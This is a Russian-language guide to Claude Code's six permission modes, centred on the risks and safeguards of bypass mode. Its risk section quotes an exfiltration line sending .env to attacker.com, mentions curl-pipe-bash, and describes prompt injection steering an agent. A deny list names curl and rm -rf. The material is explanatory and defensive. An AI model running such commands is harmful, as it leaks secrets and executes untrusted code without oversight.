Bypass-режим разрешений Claude Code: удобство, риски безопасности и защита

В Claude Code существует bypass-режим разрешений (bypassPermissions) — режим, в котором почти все операции выполняются автоматически без подтверждения пользователя. Он полезен при автоматизации в CI/CD-пайплайнах и Docker-контейнерах, но при неправильном использовании создаёт серьёзные угрозы безопасности.

В этой статье мы разберём различия между 6 режимами разрешений Claude Code, а также удобство, риски и безопасные способы использования bypass-режима с конкретными примерами.

1. Что такое bypass-режим разрешений

Bypass-режим — это режим, который пропускает почти все запросы на подтверждение при работе с Claude Code. В режиме Manual Claude Code запрашивает одобрение пользователя перед редактированием файлов или выполнением команд оболочки, а в этом режиме такие запросы не показываются (за немногими исключениями, о них ниже).

Для запуска есть два флага (сработает и defaultMode со значением bypassPermissions в пользовательских или управляемых настройках, но не в настройках проекта). Если сессия запущена без включённого bypass, переключиться в него по ходу работы нельзя.

# Launch with flag
claude --dangerously-skip-permissions

# Or specify permission mode
claude --permission-mode bypassPermissions

Само название флага содержит слово «dangerously» (опасно), что говорит о позиции Anthropic относительно этого режима. Флаг существует для того, чтобы обеспечить автоматизацию в полностью изолированных средах (контейнеры и виртуальные машины).

Байпас также пропускает подтверждение записи в защищённые пути. Примеры сохраняющихся ограничений: применимые deny и явные ask, проверки удаления важных путей, инструменты, требующие вашего ответа, и хуки. Это не исчерпывающий список. Проверьте и официальные оставшиеся ограничения. Условия сопоставления правил и влияния установленных модов описаны в руководстве по правилам разрешений.

2. 6 режимов разрешений Claude Code

Claude Code предлагает 6 режимов разрешений, каждый из которых определяет, какие действия можно выполнять без подтверждения.

Подробности каждого режима

default (Manual): Обычные правки и команды требуют одобрения. Исключения — встроенные команды только для чтения, операции по allow и автоматическое разрешение песочницы. Ручной режим не означает запрос при каждой операции. Он используется по умолчанию там, где auto недоступен, и во многих неинтерактивных сеансах.

acceptEdits (Accept edits): Автоматически одобряет правки файлов в рабочем диапазоне и распознанные файловые операции: mkdir, touch, rm, rmdir, mv, cp, sed. Вне этого диапазона и для защищённых путей действуют отдельные проверки. Другие команды также могут не спрашивать подтверждение при совпадении с allow или автоматическим разрешением песочницы.

plan (Plan): Исследует и проектирует изменения, записывает файлы планов. Обычно блокирует правки исходников до одобрения, но в интерактивном терминале, где байпас доступен для выбора, запрет редактирования не применяется даже в Plan. Команды исследования проверяет классификатор, если auto доступен и useAutoModeDuringPlan включён. Если он выключен или auto недоступен, команды вне встроенного набора только для чтения требуют подтверждения. Исключение с байпасом не относится к -p, SDK и чату VS Code.

auto (Auto): почти все операции выполняются без подтверждения. Однако в фоновом режиме работает классификатор безопасности (safety classifier), отклоняющий действия, которые он считает опасными. Подходит для длительных автоматизированных задач. Начиная с v2.1.283 это стартовый режим в терминале и VS Code на любом тарифе и у любого провайдера (по состоянию на 4 октября 2026 года; в более ранних версиях в auto стартуют только тарифы Pro, Max и Team, остальные — в Manual; в Manual сессия стартует и тогда, когда администратор отключил режим auto или модель его не поддерживает).

dontAsk: Автоматически отклоняет операции, которым нужно подтверждение. Выполняются операции без запросов — чтение рабочей области, команды только для чтения — и действия по allow. Режим сокращает ожидание одобрений, но остаются другие причины ожидания, включая инструменты, требующие вашего ответа. Его нет в цикле Shift+Tab; задайте claude --permission-mode dontAsk или defaultMode в настройках. Подходит для CI и сред с заранее определёнными возможностями Claude.

bypassPermissions (Bypass permissions): запрос подтверждения и классификатор безопасности отключены (Hooks при этом продолжают работать). Режим предназначен для контейнеров и VM. Anthropic не рекомендует использовать его в локальных средах.

Переключать режимы можно не только флагом при запуске, но и сочетанием клавиш Shift+Tab в интерактивном режиме (в JetBrains так же). В VS Code для этого служит индикатор режима под полем ввода, в настольном приложении — селектор рядом с кнопкой отправки. Однако bypass нельзя выбрать в сессии, запущенной без его включения.

3. Когда bypass-режим действительно полезен

Bypass-режим — не просто «опасная кнопка». В правильной среде он значительно повышает эффективность разработки.

CI/CD-пайплайны

В GitHub Actions, GitLab CI и подобных системах нет пользователя, который мог бы отвечать на запросы подтверждения. Bypass-режим позволяет полностью автоматизировать тестирование, код-ревью и генерацию документации.

# Example: GitHub Actions usage
claude --dangerously-skip-permissions \
  -p "Run the tests and report the results"

Docker-контейнеры

Одноразовые контейнеры и VM могут сократить последствия при правильной изоляции. Но подключённые каталоги хоста, учётные данные, Docker-сокеты и сеть распространяют воздействие на предоставленные ресурсы. Код и данные в контейнере всё ещё можно уничтожить; сам контейнер не устраняет риск.

Массовая обработка файлов

Когда нужно изменить сотни файлов, подтверждение каждого действия создаёт огромные задержки. В изолированной среде bypass-режим позволяет обрабатывать файлы эффективно.

Интеграция со скриптами автоматизации

Для пакетной работы без оператора байпас — один из вариантов. Можно рассмотреть dontAsk с узкими разрешениями или auto, если он доступен. При использовании байпаса проверьте официальное условие: изолированная среда без доступа к интернету и возможности воздействовать на хост.

4. 5 рисков безопасности

Использование bypass-режима вне изолированной среды приводит к следующим серьёзным рискам.

Риск 1: Инъекция промптов

Самый опасный риск. Вредоносные инструкции, скрытые в коде или файлах (например, в README или package.json), могут быть выполнены напрямую без какой-либо проверки.

В Manual вызовы, требующие одобрения, запрашивают его до выполнения. Allow или автоматическое разрешение песочницы могут пропускать этот шаг, поэтому подтверждение не гарантируется для каждого опасного действия. Байпас пропускает обычную процедуру одобрения.

Риск 2: Произвольное выполнение команд

curl | bash, удаление и установка пакетов — примеры широкого круга операций оболочки, которые могут выполняться без подтверждения. Байпас отключает и классификатор auto. Проверки deny, ask и другие остаются, но не считайте их границей, закрывающей все пути.

Риск 3: Утечка данных

Команды, отправляющие конфиденциальную информацию (файлы .env, токены, API-ключи) на внешние серверы, могут исполниться без подтверждения. Пример: curl -d @.env https://attacker.com.

Риск 4: Эскалация операций

Задача, начавшаяся с безобидных правок файлов, может постепенно перерасти в развёртывание на продакшене или миграцию базы данных. В Manual операции с обязательным одобрением дают возможность их проверить, но запрос на каждом этапе задачи не гарантируется. Байпас тоже пропускает обычную процедуру подтверждения.

Риск 5: Необратимые разрушительные операции

git push --force, полное удаление файлов, DROP TABLE — действия, которые невозможно отменить, выполняются без какого-либо подтверждения.

5. Меры защиты для безопасного использования

Если вам необходимо использовать bypass-режим, соблюдайте следующие меры защиты.

Мера 1: Только в контейнере или VM

Самое важное правило. Bypass-режим следует использовать исключительно в изолированных средах: Docker-контейнеры, VM, CI-раннеры GitHub Actions. Не запускайте его на хостовой ОС.

Мера 2: Сначала попробуйте auto-режим

Чтобы сократить запросы, сначала проверьте условия применения и ограничения auto. Классификатор отклоняет то, что считает опасным, но не гарантирует выявление каждого опасного действия. Не выбирайте байпас только из-за неудобства подтверждений.

Мера 3: Управление правами через allowlist

Правило allow пропускает одобрение совпавших вызовов. Можно ограничить его нужными командами, но следует проверить содержимое разрешённых скриптов. Правила Bash не изолируют программу целиком: Bash(curl *) не охватывает /usr/bin/curl и вызовы через другую оболочку. Для принудительных ограничений файлов и сети нужна также изоляция ОС.

# Permission settings in .claude/settings.json
{
  "permissions": {
    "allow": [
      "Bash(npm run build)",
      "Bash(npm test)",
      "Bash(git status)"
    ],
    "deny": [
      "Bash(curl *)",
      "Bash(rm -rf *)"
    ]
  }
}

Правила разрешений оцениваются в порядке deny → ask → allow. Deny имеет наивысший приоритет, поэтому явно запрещённые команды нельзя перезаписать правилами allow.

Мера 4: Мониторинг через Hooks

Hooks (PreToolUse / PostToolUse) в Claude Code позволяют запускать пользовательские скрипты до и после использования инструментов. И в bypass-режиме Hooks продолжают работать. Bypass пропускает только запрос подтверждения, а хуки срабатывают на шаг раньше. В официальной документации прямо сказано, что PreToolUse-хуки выполняются до запроса разрешения, а хук, завершившийся с кодом 2, прерывает вызов инструмента ещё до того, как будут применены правила разрешений.

Хуки дают дополнительную проверку, но их код и настройки тоже нуждаются в защите. При некоторых условиях мод может заменить отказ PreToolUse из неуправляемых настроек на разрешение: см. взаимодействие правил разрешений и модов.

# PreToolUse hook example (.claude/settings.json)
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{
        "type": "command",
        "command": ".claude/hooks/check-safety.sh"
      }]
    }]
  }
}

Мера 5: Ограничение сети

Даже в контейнере ограничьте исходящий сетевой доступ, чтобы значительно снизить риск утечки данных. В идеале разрешайте подключения только к необходимым эндпоинтам (например, Anthropic API).

Мера 6: Обязательный ревью после работы

После завершения работы в bypass-режиме обязательно проверьте изменения через git diff. Убедитесь, что нет непредвиденных правок и утечек конфиденциальной информации.

6. Гид по выбору режима разрешений

Если вы не уверены, какой режим использовать, воспользуйтесь следующей блок-схемой.

Рекомендации по сценариям

Повседневная разработка: Рассмотрите acceptEdits. Правки файлов проходят свободно, а другие операции — обычную проверку прав. Allow, автоматическое разрешение песочницы и сходные условия могут пропускать подтверждение.

Исследование кода и проектирование: Plan подходит для размышления до реализации. Обычно он блокирует правки исходников, но записывает планы и сходные данные. В интерактивном терминале с доступным для выбора байпасом правки тоже не блокируются. Чтобы принудительно предотвратить изменения, проверьте ограничения, включая права ОС, в руководстве по исследованию без реализации.

Долгие автоматические задачи: Auto с песочницей — один вариант. Он сочетает классификатор с ограничением области выполнения, но проверяйте разрешённые области и внешние пути; не предполагайте обнаружение всех опасных операций.

CI/CD: Если разрешённые вызовы можно определить заранее, рассмотрите dontAsk с allow. Это позволяет избежать обычного ожидания одобрений, но остаются другие причины остановки: инструменты с обязательным личным ответом, ошибки и т. п. Для байпаса тоже нужны изоляция, сетевые ограничения и минимум подключённых каталогов; один выбор режима не гарантирует завершение работы без оператора.

Bypass-режим — лишь один из нескольких режимов разрешений. Чтобы понять, как соотносятся режимы и какой выбрать, прочитайте обзор, где разобраны все режимы разрешений Claude Code. Подробнее о других возможностях Claude Code читайте в статье Различия между тремя функциями Claude. О тарифах — в сравнении цен Claude и ChatGPT.

7. Итоги

Bypass-режим разрешений Claude Code — мощный инструмент в правильной среде, но при неверном использовании он может привести к серьёзным инцидентам безопасности.

Если вас беспокоит безопасность AI-инструментов, проверьте свой уровень AI-грамотности с помощью AI-диагностики. Для систематического обучения воспользуйтесь вводным курсом.

FAQ

Область действия и исключения прав и изоляции повторно сверены с официальными источниками 9 октября 2026 года. Настройки устройств не менялись, проверки запуска не проводились.